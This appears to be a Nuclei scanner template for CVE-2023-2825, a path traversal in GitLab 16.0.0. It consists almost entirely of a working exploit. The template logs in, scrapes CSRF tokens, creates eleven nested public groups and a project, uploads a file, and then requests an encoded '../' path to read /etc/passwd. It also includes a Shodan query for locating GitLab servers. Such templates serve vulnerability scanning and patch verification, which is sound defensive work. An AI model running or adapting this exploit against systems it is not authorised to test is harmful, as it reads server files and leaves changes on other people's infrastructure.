214 lines
7.1 KiB
YAML
214 lines
7.1 KiB
YAML
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id: CVE-2023-2825
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info:
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name: GitLab 16.0.0 File Path Traversal
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author: DhiyaneshDk,rootxharsh,iamnoooob,pdresearch
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severity: critical
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description: |
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An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups
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reference:
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- https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/
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- https://github.com/Occamsec/CVE-2023-2825
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- https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/
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metadata:
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verified: "true"
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shodan-query: title:"Gitlab"
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tags: cve,cve2023,gitlab,lfi,kev,authenticated
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variables:
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data: '{{rand_base(5)}}'
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http:
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- raw:
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- |
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GET /users/sign_in HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /users/sign_in HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Accept: */*
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user%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&authenticity_token={{token_1}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Accept: */*
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group%5Bparent_id%5D=&group%5Bname%5D={{data}}-1&group%5Bpath%5D={{data}}-1&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-2&group%5Bpath%5D={{data}}-2&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-3&group%5Bpath%5D={{data}}-3&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-4&group%5Bpath%5D={{data}}-4&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-5&group%5Bpath%5D={{data}}-5&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-6&group%5Bpath%5D={{data}}-6&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-7&group%5Bpath%5D={{data}}-7&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-8&group%5Bpath%5D={{data}}-8&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-9&group%5Bpath%5D={{data}}-9&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-10&group%5Bpath%5D={{data}}-10&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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POST /groups HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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group%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-11&group%5Bpath%5D={{data}}-11&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}
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- |
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@timeout: 15s
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POST /projects HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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project%5Bci_cd_only%5D=false&project%5Bname%5D=CVE-2023-2825&project%5Bselected_namespace_id%5D={{namespace_id}}&project%5Bnamespace_id%5D={{namespace_id}}&project%5Bpath%5D=CVE-2023-2825&project%5Bvisibility_level%5D=20&project%5Binitialize_with_readme=1&authenticity_token={{token_2}}
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- |
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POST /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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X-CSRF-Token: {{x-csrf-token}}
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Content-Type: multipart/form-data; boundary=0ce2a9fbe06b6da89c138a35a1765ed6
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--0ce2a9fbe06b6da89c138a35a1765ed6
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Content-Disposition: form-data; name="file"; filename="{{randstr}}"
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{{randstr}}
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--0ce2a9fbe06b6da89c138a35a1765ed6--
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GET /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads/{{upload-hash}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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host-redirects: true
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cookie-reuse: true
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extractors:
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- type: regex
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part: body
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name: token_1
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group: 1
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regex:
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- 'name="authenticity_token" value="([A-Za-z0-9_-]+)"'
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internal: true
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- type: regex
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part: body
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name: token_2
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group: 1
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regex:
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- 'name="csrf\-token" content="([A-Z_0-9a-z-]+)"'
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internal: true
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- type: regex
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part: body
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name: parent_id
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group: 1
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regex:
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- 'href="\/groups\/new\?parent_id=([0-9]+)'
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internal: true
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- type: regex
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part: body
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name: namespace_id
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group: 1
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regex:
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- 'ref="\/projects\/new\?namespace_id=([0-9]+)'
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internal: true
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- type: regex
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part: body
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name: x-csrf-token
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group: 1
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regex:
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- 'const headers = \{"X\-CSRF\-Token":"([a-zA-Z-0-9_]+)"'
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internal: true
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- type: regex
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part: body
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name: upload-hash
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group: 1
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regex:
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- '"url":"\/uploads\/([0-9a-z]+)\/'
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internal: true
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matchers-condition: and
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matchers:
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- type: word
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encoding: hex
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words:
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- "726f6f743a78"
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- type: word
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part: header
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words:
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- "application/octet-stream"
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- "etc%2Fpasswd"
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condition: and
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